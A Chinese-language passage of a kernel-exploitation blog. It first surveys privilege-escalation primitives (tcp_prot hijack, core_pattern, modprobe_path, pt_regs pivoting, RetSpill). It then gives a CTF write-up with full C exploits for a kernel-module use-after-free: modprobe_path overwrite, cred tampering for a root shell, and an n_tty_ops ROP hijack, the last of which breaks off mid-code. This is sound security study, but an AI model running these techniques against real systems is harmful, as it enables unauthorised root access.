	for (q = inetsw_array; q < &inetsw_array[INETSW_ARRAY_LEN]; ++q)
		inet_register_protosw(q);	// 注册每个协议到对应链表   

    ...
    return 0;
}

void inet_register_protosw(struct inet_protosw *p)
{
	struct list_head *lh;
	struct inet_protosw *answer;
	int protocol = p->protocol;
	struct list_head *last_perm;

    spin_lock_bh(&inetsw_lock);
	...
    // 根据socket类型选择对应的链表
	last_perm = &inetsw[p->type];
	...
    // 将协议处理器添加到对应类型的链表中
	list_add_rcu(&p->list, last_perm);

    spin_unlock_bh(&inetsw_lock);
    ...
}

inetsw_array如下所示：

static struct inet_protosw inetsw_array[] =
{
	{
		.type =       SOCK_STREAM,
		.protocol =   IPPROTO_TCP,
		.prot =       &tcp_prot,
		.ops =        &inet_stream_ops,
		.flags =      INET_PROTOSW_PERMANENT |
			      INET_PROTOSW_ICSK,
	},

	{
		.type =       SOCK_DGRAM,
		.protocol =   IPPROTO_UDP,
		.prot =       &udp_prot,
		.ops =        &inet_dgram_ops,
		.flags =      INET_PROTOSW_PERMANENT,
       },

       {
		.type =       SOCK_DGRAM,
		.protocol =   IPPROTO_ICMP,
		.prot =       &ping_prot,
		.ops =        &inet_sockraw_ops,
		.flags =      INET_PROTOSW_REUSE,
       },

       {
	       .type =       SOCK_RAW,
	       .protocol =   IPPROTO_IP,	/* wild card */
	       .prot =       &raw_prot,
	       .ops =        &inet_sockraw_ops,
	       .flags =      INET_PROTOSW_REUSE,
       }
};

之前创建sock指定的type为SOCK_STREAM，因此对应这里的第一项，prot为&tcp_prot，ops为&inet_stream_ops。

static int inet_create(struct net *net, struct socket *sock, int protocol,
               int kern)
{
	...
    // 设置socket操作函数表
    sock->ops = answer->ops;           // inet_stream_ops
    answer_prot = answer->prot;        // tcp_prot
    answer_flags = answer->flags;
	...
    // 分配sock结构体，使用tcp_prot作为协议处理器
    sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
	...
    // 初始化socket与sock的关联
    sock_init_data(sock, sk);
	...
    return err;
}

在调用sk_alloc()分配结构体时，将&tcp_prot赋给了sk->sk_prot：

struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
		      struct proto *prot, int kern)
{
	struct sock *sk;

	sk = sk_prot_alloc(prot, priority | __GFP_ZERO, family);
	if (sk) {
		sk->sk_family = family;
		/*
		 * See comment in struct sock definition to understand
		 * why we need sk_prot_creator -acme
		 */
		sk->sk_prot = sk->sk_prot_creator = prot; // sk->sk_prot = prot (这里是tcp_prot)
		sk->sk_kern_sock = kern;
		sock_lock_init(sk);
		sk->sk_net_refcnt = kern ? 0 : 1;
		if (likely(sk->sk_net_refcnt)) {
			get_net_track(net, &sk->ns_tracker, priority);
			sock_inuse_add(net, 1);
		} else {
			__netns_tracker_alloc(net, &sk->ns_tracker,
					      false, priority);
		}

		sock_net_set(sk, net);
		refcount_set(&sk->sk_wmem_alloc, 1);

		mem_cgroup_sk_alloc(sk);
		cgroup_sk_alloc(&sk->sk_cgrp_data);
		sock_update_classid(&sk->sk_cgrp_data);
		sock_update_netprioidx(&sk->sk_cgrp_data);
		sk_tx_queue_clear(sk);
	}

	return sk;
}

用户态调用setsockopt() 库函数，实际是sys_setsockopt()的封装。

__sys_setsockopt函数处理该系统调用，源码如下：

int __sys_setsockopt(int fd, int level, int optname, char __user *user_optval,
		int optlen)
{
	sockptr_t optval = USER_SOCKPTR(user_optval);
	char *kernel_optval = NULL;
	int err, fput_needed;
	struct socket *sock;

	if (optlen < 0)
		return -EINVAL;

	sock = sockfd_lookup_light(fd, &err, &fput_needed);
	if (!sock)
		return err;

	err = security_socket_setsockopt(sock, level, optname);
	if (err)
		goto out_put;

	if (!in_compat_syscall())
		err = BPF_CGROUP_RUN_PROG_SETSOCKOPT(sock->sk, &level, &optname,
						     user_optval, &optlen,
						     &kernel_optval);
	if (err < 0)
		goto out_put;
	if (err > 0) {
		err = 0;
		goto out_put;
	}

	if (kernel_optval)
		optval = KERNEL_SOCKPTR(kernel_optval);
	if (level == SOL_SOCKET && !sock_use_custom_sol_socket(sock))
		err = sock_setsockopt(sock, level, optname, optval, optlen);
	else if (unlikely(!sock->ops->setsockopt))
		err = -EOPNOTSUPP;
	else
		err = sock->ops->setsockopt(sock, level, optname, optval,
					    optlen);
	kfree(kernel_optval);
out_put:
	fput_light(sock->file, fput_needed);
	return err;
}

如果 level != SOL_SOCKET（比如 SOL_TCP）：调用 sock->ops->setsockopt()。如果读者记忆力比较好，应该还记得这里的ops是&inet_stream_ops，这是调用sock时由内核确定的。

inet_stream_ops结构体如下，可以看到会调用sock_common_setsockopt：

const struct proto_ops inet_stream_ops = {
	.family		   = PF_INET,
	.owner		   = THIS_MODULE,
	.release	   = inet_release,
	.bind		   = inet_bind,
	.connect	   = inet_stream_connect,
	.socketpair	   = sock_no_socketpair,
	.accept		   = inet_accept,
	.getname	   = inet_getname,
	.poll		   = tcp_poll,
	.ioctl		   = inet_ioctl,
	.gettstamp	   = sock_gettstamp,
	.listen		   = inet_listen,
	.shutdown	   = inet_shutdown,
	.setsockopt	   = sock_common_setsockopt,
	.getsockopt	   = sock_common_getsockopt,
	.sendmsg	   = inet_sendmsg,
	.recvmsg	   = inet_recvmsg,
#ifdef CONFIG_MMU
	.mmap		   = tcp_mmap,
#endif
	.sendpage	   = inet_sendpage,
	.splice_read	   = tcp_splice_read,
	.read_sock	   = tcp_read_sock,
	.read_skb	   = tcp_read_skb,
	.sendmsg_locked    = tcp_sendmsg_locked,
	.sendpage_locked   = tcp_sendpage_locked,
	.peek_len	   = tcp_peek_len,
#ifdef CONFIG_COMPAT
	.compat_ioctl	   = inet_compat_ioctl,
#endif
	.set_rcvlowat	   = tcp_set_rcvlowat,
};

sock_common_setsockopt实现如下：

int sock_common_setsockopt(struct socket *sock, int level, int optname,
			   sockptr_t optval, unsigned int optlen)
{
	struct sock *sk = sock->sk;

	/* IPV6_ADDRFORM can change sk->sk_prot under us. */
	return READ_ONCE(sk->sk_prot)->setsockopt(sk, level, optname, optval, optlen);
}

可以看到最终是调用了sk->sk_prot->setsockopt，而在我们讨论的情况下，sk_prot就是&tcp_prot。

总结一下，在我们讨论的这种情况下，用户态调用setsockopt()会触发内核中tcp_prot->setsockopt的调用。当我们修改此处指针后，用户态的const void *option_value参数被保留，根据 System V ABI 调用约定，rcx 寄存器的内容被用户态控制。因此我们可以利用 rcx 来做 stack_pivot（在 CVE-2022-29582 例子里，用了mov rcx, rsp; mov rsp, rcx; pop rbx; pop rbp; ret;这个gadget），方法是覆盖内核中的tcp_prot->setsockopt为rcx相关的gadget，然后在用户态调用setsockopt，option_value参数指向伪造的栈。

例题：corCTF 2023 sysruption

~~这道题 AMD CPU 做不了，我没做~~

core_pattern
#

利用条件：core_pattern可写，SELinux 等未阻止core_pattern管道执行。

core_pattern是内核区域的一个全局变量，在程序异常退出后，内核会找到core_pattern的值（默认是core）作为 core dump 的文件名存储进程崩溃时的信息用于调试。

core_pattern的值为"|xxx.sh"时，触发一个程序的 coredump，就能让该脚本以root权限执行。

现代系统通过限制普通用户对 /proc/sys/kernel/core_pattern 的写权限（如使用 capabilities 或 SELinux）减少了风险，但是这种攻击方式仍被用于容器逃逸提权。

Ubuntu 中的 core_pattern：

|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E

WSL Ubuntu 中的 core_pattern：

|/wsl-capture-crash %t %E %p %s

hijack prctl
#

利用条件：poweroff_cmd和task_prctl可写

内核中的poweroff_work_func函数会执行run_cmd(poweroff_cmd)，把task_prctl劫持到__orderly_poweroff，然后篡改poweroff_cmd为我们需要执行的二进制文件路径。接着调用prctl，就会以root权限执行我们的二进制文件，从而提权。

vDSO（过时）
#

利用条件：vDSO 可写

内核中 vDSO 的代码会被映射到所有的用户态进程中。如果有一个高特权的进程会周期性地调用 vDSO 中的函数，那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。当高权限的进程执行相应的代码时，我们就可以进行提权。

seq_operations 等非静态定义结构体
#

利用条件：通过任何方式定位该结构体（如 kmalloc-32 UAF）

seq_operations ³是一个大小为0x20的结构体，打开一个 stat 文件时（如 /proc/self/stat ）便会在内核空间中分配一个 seq_operations 结构体，该结构体定义于 /include/linux/seq_file.h 当中，只定义了四个函数指针，如下：

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时，内核会调用proc_ops的proc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针，我们只需覆盖start指针为特定gadget，即可控制程序执行流。

其他有函数指针的非静态定义结构体：

pipe_bufffer
packet_sock
sk_buff
file
…

任意文件写
#

/proc/sys/kernel/modprobe 对应 modprobe_path
/proc/sys/kernel/core_pattern 对应 core_pattern
init，得能重启且不被重置
/proc/<pid>/mem root 权限进程注入
~~有/etc目录的话，passwd, shadow, ld.so.preload, pam.d, cron, sudoers…~~

ROP
#

内核执行 commit_creds(prepare_kernel_cred(0)) 或 或 commit_creds(&init_cred) 使进程获得root权限

返回用户态
#

swapgs 指令恢复用户态 GS 寄存器，sysretq 或者 iretq 恢复到用户空间
KPTI（内核页表隔离）开启，用swapgs_restore_regs_and_return_to_usermode
SMEP（阻止内核态代码执行来自用户空间的代码）开启，修改 CR4 寄存器的值：cr4 = cr4 & ~(1 << 20);第20位置零代表 SMEP 关闭
未开启 KPTI 时，还可用 ret2dir 直接利用 direct mapping area 来构造 ROP chain

栈迁移
#

pt_regs
#

进行系统调用时，entry_SYSCALL_64函数会将所有的寄存器压入内核栈上，形成一个 pt_regs 结构体，该结构体实质上位于内核栈底，定义如下：

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在未启用RANDKSTACK的内核中，该结构体和目标函数（被劫持）的栈帧之间的偏移量是固定的。

因此可以利用该结构体构造 ROP chain，然后通过 stack pivot gadget 跳过去。

利用 tcp_prot 的 rcx
#

见 AAW 节 tcp_prot

用这种方法做栈迁移实际也在 RetSpill 的实验中体现了。

RetSpill
#

ASU sefcom Kyle Zeng 的一篇顶会⁴。基本思路是，在执行系统调用时，部分用户空间数据保存在内核堆栈中。

举例来说，poll这个系统调用会调用copy_from_user把用户态数据直接复制到内核栈上：

int do_sys_poll(...)
{
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
    struct poll_list *walk = (struct poll_list *)stack_pps;

    // copy user space data onto kernel stack
    copy_from_user(walk->entries, ufds, sizeof(walk->entries);

    // invoke poll handler for each fd
    pfd = walk->entries;
    for(; ... ; pfd++) {
        file = fdget(pfd).file;
        file->f_op->poll(...);
    }
    ...
}

如果攻击者控制了用户空间中的 file object，当通过 file->f_op->poll 调用获取控制流劫持原语时，他们将控制内核堆栈上的 0x1e0 （论文工作中测试得到）字节。然后，攻击者可以栈迁移到这里。在poll调用的生命周期内，堆栈上的数据是始终有效的。

RetSpill 的另一个思路是，exp 进程里的所有线程共享系统资源（包括内核堆里的victim object），每一个线程都可以独立地执行 ROP chain（有不同的 task 上下文）。这样做的好处是可以稳定地重用控制流劫持。

RANDKSTACK 在函数栈帧和pt_regs区域引入了一个随机的偏移，让pt_regs方法更难利用了。但是对 RetSpill 的影响不是很大，例如poll 调用的用户态数据不受影响，因为这些数据在函数栈帧里。论文还提到，大多数 Linux 发行版都没有开启panic_on_oops，因此可以在线程里不断爆破 pt_regs 和函数栈帧之间的偏移量。

FG-KASLR，函数粒度的内核地址随机化也无法完全缓解 RetSpill（以及其他很多技术），因为内核中某些区域永远不会被随机化，包括 KPTI trampoline swapgs_restore_regs_and_return_to_usermode()和内核符号表 ksymtab等⁵。攻击者可以在位置无关的代码中寻找 ROP gadgets 来构造任意读原语，然后通过ksymtab计算函数地址。

当然，作为学术论文，RetSpill 最具贡献的地方是实现了一个半自动化工具 IGNI，可以根据输入的 kernel image 生成一个 RetSpill 利用模板，大大降低了内核漏洞利用的门槛。

例题：corCTF 2021 Wall of Perdition

参考资料
#

从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法

root@beacox.space (BeaCox) — Mon, 14 Jul 2025 20:49:02 +0800

变年更博主了（悲）。

题目分析
#

用户态传入16字节数据，定义个结构体方便看。

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

主要看 xkmod_ioctl：

__int64 __fastcall xkmod_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  xkData data; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+10h] [rbp-10h]

  v5 = __readgsqword(0x28u);
  if ( !arg )
    return 0LL;
  copy_from_user(&data, arg, 16LL);
  if ( cmd == 0x6666666 )
  {
    if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
    {
      copy_from_user((char *)buf + (int)data.offset, data.user_buf, (int)data.length);
      return 0LL;
    }
  }
  else
  {
    if ( cmd != 0x7777777 )
    {
      if ( cmd == 0x1111111 )
        buf = (void *)kmem_cache_alloc(s, 3264LL);
      return 0LL;
    }
    if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
    {
      copy_to_user(data.user_buf, (char *)buf + (int)data.offset);
      return 0LL;
    }
  }
  return xkmod_ioctl_cold();
}

是堆题经典的菜单，有 alloc, edit, read。

漏洞在xkmod_release。

int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf);
}

关闭设备文件时没有清理s，留下了悬垂指针，造成 UAF。

前置知识
#

Slub Allocator

这题的核心其实就是劫持 freelist，和用户态很像。只不过开了RANDOM_FREELIST ，两次分配的空间不一定连续，对这题没什么影响 :-)。

调试
#

91 0         0:00 {rcS} /bin/sh /etc/init.d/rcS

setsid cttyhack setuidgid 1000 sh

1000改成0拿 root shell 看 kallsyms，方便内核模块调试。

利用
#

解法1 modprobe_path
#

UAF 泄露堆地址，劫持 freelist 泄露 kernel 基地址。

可以通过 vmlinux-to-elf 将 vmlinux 转化为 ida 可分析 elf，然后搜索/sbin/modprobe计算modprobe_path的偏移量。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH_OFFSET 0x1444700
#define MAGIC_PATH "/home/pwned"

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[8], root_script_fd;
    size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
    char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
    char flag[0x100];
    int flag_fd;

    // bind the process to core 0  
    bindCore(0);

    // create fake modprobe_path file
    root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " MAGIC_PATH);
    
    // kmalloc-192
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // UAF
    struct xkData data;
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    xkAlloc(dev_fd[0], &data);
    xkEdit(dev_fd[0], &data);
    close(dev_fd[0]);

    // leak heap
    xkRead(dev_fd[1], &data);
    heap_leak = data.user_buf[0];
    // printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
    // kernel heap base addr: page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);

    // allocate chunk for kernel base leak
    memset(data.user_buf, 0, 0x1000);
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data); // get the chunk
    data.length = 0x20;
    xkRead(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    // printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);

    // hijack modprobe_path
    puts("[*] hijacking modprobe_path...");
    xkAlloc(dev_fd[1], &data);
    close(dev_fd[1]); // won't free the double free chunk, create a new UAF
    data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data); // get the chunk
    strcpy((char *) &data.user_buf[2], MAGIC_PATH);
    data.length = 0x30;
    xkEdit(dev_fd[2], &data);

    // trigger the exploit
    puts("[*] trigerring fake modprobe_path...");   
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
    system("chmod +x /home/trigger");
    system("/home/trigger");

    // read flag
    memset(flag, 0, sizeof(flag));
    flag_fd = open("/flag", O_RDWR);
    read(flag_fd, flag, sizeof(flag));
    printf("[+] Flag: %s\n", flag);

    return 0;
}

在 xkmod_ioctl 的 kmem_cache_alloc 处下个断点，利用UAF劫持freelist之后可以看到第一个 alloc 返回的是之前的 object，再下一个已经被写为目标地址 &secondary_startup_64 - 0x10。通过该地址可以泄露内核基地址。

然后修改modprobe_path，再用非法文件触发 chmod 脚本即可。

解法2 修改子进程的 cred
#

对应 kernel 版本 cred 的分配方式源码如下：

void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

struct cred *prepare_creds(void)
{
	struct task_struct *task = current;
	const struct cred *old;
	struct cred *new;

	validate_process_creds();

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;
    ...

从源码看，cred_jar 设置了 SLAB_ACCOUNT，不应该和题目中的lalala一起合并到kmalloc-192。但是这题能利用这种方法啊……真相只有一个：

__int64 cred_init()
{
  __int64 result; // rax

  result = kmem_cache_create(aCredJar, 0xA8LL, 0LL, 0x42000LL, 0LL);
  qword_FFFFFFFF82AFA220 = result;
  return result;
}

反编译 vmlinux，标志位是0x42000。对应的标志应该是SLAB_HWCACHE_ALIGN和SLAB_PANIC，没有SLAB_ACCOUNT。答案是这题的内核并非“原装”的 v5.4.38，可能特意改了 cred_init 的实现。

总之，在这题里 cred 结构体和内核模块的 slab 都合并到 kmalloc-192。因此可以 fork 一个子进程，利用内核模块的 UAF 修改子进程的 cred 完成提权。

该版本 cred 结构体如下：

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
        ...
} __randomize_layout;

网上大多说把 uid~fsgid 全置为0，实际上权限主要与 uid 和 euid 有关，这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char *envp)
{
    int dev_fd[2];
    size_t buf[0x100];
    struct xkData data;

    bindCore(0);

    for (int i = 0; i < 2; i++)
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);

    // no need to l3ak
    data.user_buf = malloc(0x100);
    data.offset = 0;
    data.length = 0x50;

    xkAlloc(dev_fd[0], &data);
    close(dev_fd[0]);

    int pid = fork();
    if (!pid)
    {
        xkRead(dev_fd[1], &data);
            
        if (((int*)(data.user_buf))[0] == 2) // usage
        {
            ((int*)(data.user_buf))[1] = 0; // uid
            ((int*)(data.user_buf))[5] = 0; // euid
            xkEdit(dev_fd[1], &data);
            if (!getuid())
            {
                puts("[+] Root shell spawned!");
                system("/bin/sh");
                exit(0);
            }
            else
            {
                puts("[!] Failed to get root shell!");
                exit(1);
            }
        }
        else
        {
            puts("[x] Failed!");
            exit(2);
        }
    }
    wait(NULL);
}

解法3 劫持 n_tty_ops
#

CONFIG_BINFMT_MISC=n或CONFIG_STATIC_USERMODEHELPER=y情况下，劫持modprobe_path的方法失效（应该）。假如，这道题是独立的 kmem_cache 的 UAF，且配置项使得modprobe_path方法失效，如何呢？可以劫持n_tty_ops。

放一张陈年老图说明劫持该结构体的流程：

先看这个结构体的定义：

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};

struct tty_ldisc_ops {
	int	magic;
	char	*name;
	int	num;
	int	flags;

	/*
	 * The following routines are called from above.
	 */
	int	(*open)(struct tty_struct *);
	void	(*close)(struct tty_struct *);
	void	(*flush_buffer)(struct tty_struct *tty);
	ssize_t	(*read)(struct tty_struct *tty, struct file *file,
			unsigned char __user *buf, size_t nr);
	ssize_t	(*write)(struct tty_struct *tty, struct file *file,
			 const unsigned char *buf, size_t nr);
	int	(*ioctl)(struct tty_struct *tty, struct file *file,
			 unsigned int cmd, unsigned long arg);
	int	(*compat_ioctl)(struct tty_struct *tty, struct file *file,
				unsigned int cmd, unsigned long arg);
	void	(*set_termios)(struct tty_struct *tty, struct ktermios *old);
	__poll_t (*poll)(struct tty_struct *, struct file *,
			     struct poll_table_struct *);
	int	(*hangup)(struct tty_struct *tty);

	/*
	 * The following routines are called from below.
	 */
	void	(*receive_buf)(struct tty_struct *, const unsigned char *cp,
			       char *fp, int count);
	void	(*write_wakeup)(struct tty_struct *);
	void	(*dcd_change)(struct tty_struct *, unsigned int);
	int	(*receive_buf2)(struct tty_struct *, const unsigned char *cp,
				char *fp, int count);

	struct  module *owner;

	int refcount;
};

找一下 n_tty_ops：

__int64 n_tty_init()
{
  return tty_register_ldisc(0LL, &unk_FFFFFFFF824B1160);
}

利用pt_regs来构造 ROP。劫持 n_tty_ops.read 为 stack pivot gadget，syscall read 触发。pivot 到 pt_regs 执行我们构造的 ROP 链（不过“新”版本 kernel pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值）。利用swapgs_restore_regs_and_return_to_usermode从内核态返回用户态提权，提权后要修复n_tty_ops，不然拿到 root shell 也无法交互。

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sched.h>

#define N_TTY_OPS                                   0xffffffff824B1160
#define N_TTY_OPEN                                  0xffffffff81466710
#define N_TTY_CLOSE                                 0xffffffff81464dc0
#define N_TTY_FLUSH_BUFFER                          0xffffffff814654b0
#define N_TTY_READ                                  0xffffffff81465a10
#define N_TTY_READ_ADDR                             0xffffffff824b1190
#define PREPARE_KERNEL_CRED                         0xffffffff8108a9a0
#define POP_RDI_RET                                 0xffffffff81001518
#define COMMIT_CREDS                                0xffffffff8108a660
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE  0xffffffff81c00a2f
#define XCHG_RAX_RDI_RET                            0xffffffff8148c492
#define ADD_RSP_0XC8_RET                            0xffffffff811454aa

int dev_fd[8], root_script_fd, kernel_offset;
size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode;
size_t pop_rdi_ret, xchg_rax_rdi_ret;

struct xkData
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
}data;

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

void xkAlloc(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void xkEdit(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void xkRead(int dev_fd, struct xkData *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char *envp)
{
    // bind the process to core 0  
    bindCore(0);
    
    // kmalloc-192
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // UAF
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    xkAlloc(dev_fd[0], &data);
    xkEdit(dev_fd[0], &data);
    close(dev_fd[0]);

    // leak heap
    xkRead(dev_fd[1], &data);
    heap_leak = data.user_buf[0];
    // printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
    // kernel heap base addr: page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);

    // allocate chunk for kernel base leak
    memset(data.user_buf, 0, 0x1000);
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data);
    xkAlloc(dev_fd[1], &data); // get the chunk
    data.length = 0x20;
    xkRead(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    // printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);
    kernel_offset = kernel_base - 0xFFFFFFFF81000000;

    // hijack n_tty_ops
    puts("[*] hijacking n_tty_ops...");
    xkAlloc(dev_fd[1], &data);
    close(dev_fd[1]); // won't free the double free chunk, create a new UAF
    data.user_buf[0] = kernel_offset + N_TTY_READ_ADDR - 0x20; // next will be &n_tty_ops.num, next->next == 0
    data.offset = 0;
    data.length = 0x8;
    xkEdit(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data);
    xkAlloc(dev_fd[2], &data); // get the chunk
    data.user_buf[0] = 0;
    data.user_buf[1] = kernel_offset + N_TTY_OPEN;
    data.user_buf[2] = kernel_offset + N_TTY_CLOSE;
    data.user_buf[3] = kernel_offset + N_TTY_FLUSH_BUFFER;
    data.user_buf[4] = kernel_offset + ADD_RSP_0XC8_RET; // kernel_base + 0x1454aa
    data.length = 0x28;
    xkEdit(dev_fd[2], &data); // now n_tty_ops.read is add_rsp_0xc8_ret

    // hijack rip
    puts("[*] hijacking rip...");
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
